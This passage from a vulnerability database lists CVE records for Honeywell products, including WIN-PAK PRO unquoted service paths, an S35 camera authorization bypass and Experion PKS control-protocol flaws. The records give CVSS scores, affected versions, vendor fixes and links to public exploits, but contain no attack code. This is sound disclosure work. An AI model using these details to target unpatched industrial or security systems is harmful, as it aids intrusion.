"orgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"shortName": "icscert"
},
"references": [
{
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-048-04"
},
{
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-048-04.json"
},
{
"url": "https://www.honeywell.com/us/en/contact/support"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell recommends users contact Honeywell at \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://www.honeywell.com/us/en/contact/support\"\u003ehttps://www.honeywell.com/us/en/contact/support\u003c/a\u003e for patch information.\u003cbr\u003e"
}
],
"value": "Honeywell recommends users contact Honeywell at https://www.honeywell.com/us/en/contact/support for patch information."
}
],
"source": {
"advisory": "ICSA-26-048-04",
"discovery": "EXTERNAL"
},
"title": "Honeywell CCTV Products Missing Authentication for Critical Function",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
"assignerShortName": "icscert",
"cveId": "CVE-2026-1670",
"datePublished": "2026-02-17T22:56:00.586Z",
"dateReserved": "2026-01-30T00:35:22.440Z",
"dateUpdated": "2026-02-18T20:45:46.226Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2021-47868 (GCVE-0-2021-47868)
Vulnerability from nvd – Published: 2026-01-21 17:27 – Updated: 2026-03-05 01:29
VLAI
EPSS
VEX
Title
WIN-PACK PRO 4.8 - 'WPCommandFileService' Unquoted Service Path
Summary
WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the WPCommandFileService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe to inject malicious code that would execute with LocalSystem permissions.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-22 16:47 UTC
CWE
- CWE-428 - Unquoted Search Path or Element
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/49692 | exploit |
| https://www.security.honeywell.com/product-reposi… | product |
| https://www.vulncheck.com/advisories/win-pack-pro… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | WIN-PACK PRO |
Affected:
4.8
cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:* |
Date Public
2021-03-16 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2021-47868",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-22T16:47:10.898897Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-22T16:52:36.282Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "WIN-PACK PRO",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "4.8"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:*",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Alan Mondragon"
}
],
"datePublic": "2021-03-16T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the WPCommandFileService that allows local users to potentially execute code with elevated privileges. Attackers can exploit the unquoted path in C:\\Program Files \u003cx86\u003e\\WINPAKPRO\\WPCommandFileService Service.exe to inject malicious code that would execute with LocalSystem permissions."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-428",
"description": "Unquoted Search Path or Element",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T01:29:00.395Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "ExploitDB-49692",
"tags": [
"exploit"
],
"url": "https://www.exploit-db.com/exploits/49692"
},
{
"name": "Honeywell Product Webpage",
"tags": [
"product"
],
"url": "https://www.security.honeywell.com/product-repository/winpak"
},
{
"name": "VulnCheck Advisory: WIN-PACK PRO 4.8 - \u0027WPCommandFileService\u0027 Unquoted Service Path",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/win-pack-pro-wpcommandfileservice-unquoted-service-path"
}
],
"title": "WIN-PACK PRO 4.8 - \u0027WPCommandFileService\u0027 Unquoted Service Path",
"x_generator": {
"engine": "vulncheck"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2021-47868",
"datePublished": "2026-01-21T17:27:45.785Z",
"dateReserved": "2026-01-18T12:35:05.171Z",
"dateUpdated": "2026-03-05T01:29:00.395Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2021-47866 (GCVE-0-2021-47866)
Vulnerability from nvd – Published: 2026-01-21 17:27 – Updated: 2026-03-05 01:28
VLAI
EPSS
VEX
Title
WIN-PACK PRO 4.8 - 'GuardTourService' Unquoted Service Path
Summary
WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the GuardTourService that allows local users to potentially execute code with elevated system privileges. Attackers can exploit the unquoted path in C:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe to inject malicious code that would execute during service startup.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-22 16:47 UTC
CWE
- CWE-428 - Unquoted Search Path or Element
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/49690 | exploit |
| https://www.security.honeywell.com/product-reposi… | product |
| https://www.vulncheck.com/advisories/win-pack-pro… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | WIN-PACK PRO |
Affected:
4.8
cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:* |
Date Public
2021-03-16 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2021-47866",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-22T16:47:15.941886Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-22T16:52:45.690Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "WIN-PACK PRO",
"vendor": "Honeywell",
"versions": [
{
"status": "affected",
"version": "4.8"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:honeywell:win-pak:4.8:*:*:*:*:*:*:*",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Alan Mondragon"
}
],
"datePublic": "2021-03-16T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "WIN-PACK PRO 4.8 contains an unquoted service path vulnerability in the GuardTourService that allows local users to potentially execute code with elevated system privileges. Attackers can exploit the unquoted path in C:\\Program Files \u003cx86\u003e\\WINPAKPRO\\WP GuardTour Service.exe to inject malicious code that would execute during service startup."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-428",
"description": "Unquoted Search Path or Element",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T01:28:59.472Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "ExploitDB-49690",
"tags": [
"exploit"
],
"url": "https://www.exploit-db.com/exploits/49690"
},
{
"name": "Honeywell Product Webpage",
"tags": [
"product"
],
"url": "https://www.security.honeywell.com/product-repository/winpak"
},
{
"name": "VulnCheck Advisory: WIN-PACK PRO 4.8 - \u0027GuardTourService\u0027 Unquoted Service Path",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/win-pack-pro-guardtourservice-unquoted-service-path"
}
],
"title": "WIN-PACK PRO 4.8 - \u0027GuardTourService\u0027 Unquoted Service Path",
"x_generator": {
"engine": "vulncheck"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2021-47866",
"datePublished": "2026-01-21T17:27:44.672Z",
"dateReserved": "2026-01-18T12:35:05.170Z",
"dateUpdated": "2026-03-05T01:28:59.472Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-12351 (GCVE-0-2025-12351)
Vulnerability from nvd – Published: 2025-10-27 15:03 – Updated: 2025-10-27 16:04
VLAI
EPSS
VEX
Title
Inadequate access control measure allows unauthorized users to access restricted administrative functions
Summary
Honeywell S35 Series Cameras contains an authorization bypass Vulnerability through User controller key. An attacker could potentially exploit this vulnerability, leading to Privilege Escalation to admin privileged functionalities . Honeywell also recommends updating to the most recent version of this product, service or offering (S35 Pinhole/Kit Camera to version 2025.08.28, S35 AI Fisheye & Dual Sensor/Micro Dome/Full Color Eyeball & Bullet Camera to version 2025.08.22, S35 Thermal Camera to version 2025.08.26).
Severity
6.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-27 15:14 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.honeywell.com/us/en/product-security | vendor-advisory |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | S35 3M/5M/8M/Pinhole/Kit Camera |
Affected:
2022.02.28 , < 2025.08.28
(date)
|
|
| Honeywell | S35 AI Fisheye&Dual Sensor/Micro Dome/Full Color Eyeball&Bullet Camera |
Affected:
2024.08.10 , < 2025.08.22
(date)
|
|
| Honeywell | S35 Thermal Camera |
Affected:
2024.10.21 , < 2025.08.26
(date)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-12351",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-27T15:14:48.505227Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-10-27T16:04:11.466Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "S35 3M/5M/8M/Pinhole/Kit Camera",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "2025.08.28",
"status": "affected",
"version": "2022.02.28",
"versionType": "date"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "S35 AI Fisheye\u0026Dual Sensor/Micro Dome/Full Color Eyeball\u0026Bullet Camera",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "2025.08.22",
"status": "affected",
"version": "2024.08.10",
"versionType": "date"
}
]
},
{
"defaultStatus": "unaffected",
"product": "S35 Thermal Camera",
"vendor": "Honeywell",
"versions": [
{
"lessThan": "2025.08.26",
"status": "affected",
"version": "2024.10.21",
"versionType": "date"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Honeywell S35 Series Cameras contains an authorization bypass Vulnerability through User controller key. An attacker could potentially exploit this vulnerability, leading to Privilege Escalation to admin privileged functionalities . Honeywell also recommends updating to the most recent version of this product, service or offering (S35 Pinhole/Kit Camera to version 2025.08.28, S35 AI Fisheye \u0026amp; Dual Sensor/Micro Dome/Full Color Eyeball \u0026amp; Bullet Camera to version 2025.08.22, S35 Thermal Camera to version 2025.08.26).\u003cp\u003e\u003c/p\u003e"
}
],
"value": "Honeywell S35 Series Cameras contains an authorization bypass Vulnerability through User controller key. An attacker could potentially exploit this vulnerability, leading to Privilege Escalation to admin privileged functionalities . Honeywell also recommends updating to the most recent version of this product, service or offering (S35 Pinhole/Kit Camera to version 2025.08.28, S35 AI Fisheye \u0026 Dual Sensor/Micro Dome/Full Color Eyeball \u0026 Bullet Camera to version 2025.08.22, S35 Thermal Camera to version 2025.08.26)."
}
],
"impacts": [
{
"capecId": "CAPEC-22",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-22 Exploiting Trust in Client"
}
]
},
{
"capecId": "CAPEC-233",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-233 Privilege Escalation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-639",
"description": "CWE-639 Authorization Bypass Through User-Controlled Key",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-668",
"description": "CWE-668 Exposure of Resource to Wrong Sphere",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-10-27T15:03:57.602Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://www.honeywell.com/us/en/product-security"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Inadequate access control measure allows unauthorized users to access restricted administrative functions",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-12351",
"datePublished": "2025-10-27T15:03:57.602Z",
"dateReserved": "2025-10-27T14:59:57.822Z",
"dateUpdated": "2025-10-27T16:04:11.466Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-3947 (GCVE-0-2025-3947)
Vulnerability from nvd – Published: 2025-07-10 20:19 – Updated: 2025-08-04 19:46
VLAI
EPSS
VEX
Title
Integer underflow during processing of short network packets in CDA FTEB responder
Summary
The Honeywell Experion PKS contains an Integer Underflow
vulnerability
in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to
Input Data Manipulation, which could result in improper integer data value checking during subtraction leading to a denial of service.
Honeywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.
Severity
8.2 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:34 UTC
CWE
- CWE-191 - Integer Underflow (Wrap or Wraparound)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
9 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-3947",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:34:52.670505Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:35:01.787Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS contains an Integer Underflow \n\nvulnerability \n\nin the component Control\u0026nbsp;\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eData Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, which could result in improper\u0026nbsp;integer data value checking during subtraction leading to a denial of service.\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cbr\u003e\u003c/span\u003e\u003c/span\u003e\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1.\u003cbr\u003e\u003cbr\u003eThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.\n\n\u003cbr\u003e"
}
],
"value": "The Honeywell Experion PKS contains an Integer Underflow \n\nvulnerability \n\nin the component Control\u00a0Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, which could result in improper\u00a0integer data value checking during subtraction leading to a denial of service.\n\n\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1.\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3."
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-153 Input Data Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-191",
"description": "CWE-191 Integer Underflow (Wrap or Wraparound)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:46:31.982Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Integer underflow during processing of short network packets in CDA FTEB responder",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-3947",
"datePublished": "2025-07-10T20:19:13.991Z",
"dateReserved": "2025-04-25T15:21:22.614Z",
"dateUpdated": "2025-08-04T19:46:31.982Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-3946 (GCVE-0-2025-3946)
Vulnerability from nvd – Published: 2025-07-10 20:16 – Updated: 2025-08-04 19:46
VLAI
EPSS
VEX
Title
Incorrect response generation during FTEB protocol processing
Summary
The Honeywell Experion PKS
and OneWireless WDM
contains a Deployment of Wrong Handler
vulnerability
in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to
Input Data Manipulation,
which could result in incorrect handling of packets leading to remote code execution.
Honeywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
8.2 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:35 UTC
CWE
- CWE-430 - Deployment of Wrong Handler
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
